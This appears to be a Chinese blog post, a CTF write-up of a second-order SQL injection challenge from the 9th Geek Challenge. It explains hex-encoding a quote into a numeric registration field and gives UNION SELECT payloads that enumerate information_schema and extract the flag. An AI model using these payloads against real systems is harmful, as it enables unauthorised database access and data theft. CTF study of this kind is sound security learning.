时间:2021-07-01 10:21:17 帮助过:20人阅读
其中的username和password应该是经过安全处理,单引号无法逃逸,而lucknum只能输入数字,所以剩下whatsup可成为注入点,insert into 注入,但是出了点小意外,没有成功,暂时放一放...
几经折腾,终于把目光放在了这个luckynum上面。可能会疑惑luckynum只接受数字,怎么能构造sql语句呢,其实是可以用字符串的16进制来表示的,例如
所以先在luckynum处构造一个单引号看看结果验证一下猜想
看到user info里面什么也没有,说明后台在查询我这个leixiao002用户时,sql语句是错误的,所以没有查到任何信息。
梳理一下逻辑
1.用户注册账号,填写密码及其他信息
insert into users(username,password,lucknum,whatsup) values(‘leixiao002‘,‘1‘,0x27,‘1‘)
2.用户用账号密码尝试登陆,后台用账号密码执行sql查询
select * from users where username=‘leixiao002‘ and password=‘1‘
3.查询到数据就进入登录界面并显示该用户信息
//显示username,luckynum,whatsup
这么看来并没有lucknum什么事,大不了显示出来lucknum就是一个单引号而已,为什么lucknum为单引号就出错呢,重新推测下处理逻辑如下,虽然我感觉不合理,但这应该是出题人故意留下的漏洞,全靠直觉...有错望指正。
1.用户注册账号,填写密码及其他信息
insert into users(username,password,lucknum,whatsup) values(‘leixiao002‘,‘1‘,0x27,‘1‘)
2.用户用账号密码尝试登陆,后台用账号密码执行sql查询,正确就进入登录界面
select * from users where username=‘leixiao002‘ and password=‘1‘
3.查询到数据luckynum的内容
lucknum=‘
4.再次执行查询
select * from users where username=‘leixiao002‘ and password=‘1‘ and luckynum=‘‘‘
5.如果4的语句正确就显示用户信息
看到4的sql语句最后面多了一个‘,所以出错。
依据4的语句,接着构造出
select * from users where username=‘leixiao00x‘ and password=‘1‘ and luckynum=‘‘ union select 1,1,database()
爆出了数据库名
接着再注册几个账号,逐步构造以下语句就可
1: ‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
2: ‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘fl4g‘#
3. ‘ union select 1,2,easyflag from fl4g#
第九届极客大挑战——小帅的广告(二阶sql注入)
标签:HERE 学习 引号 账号密码 ref 为什么 and 出错 输入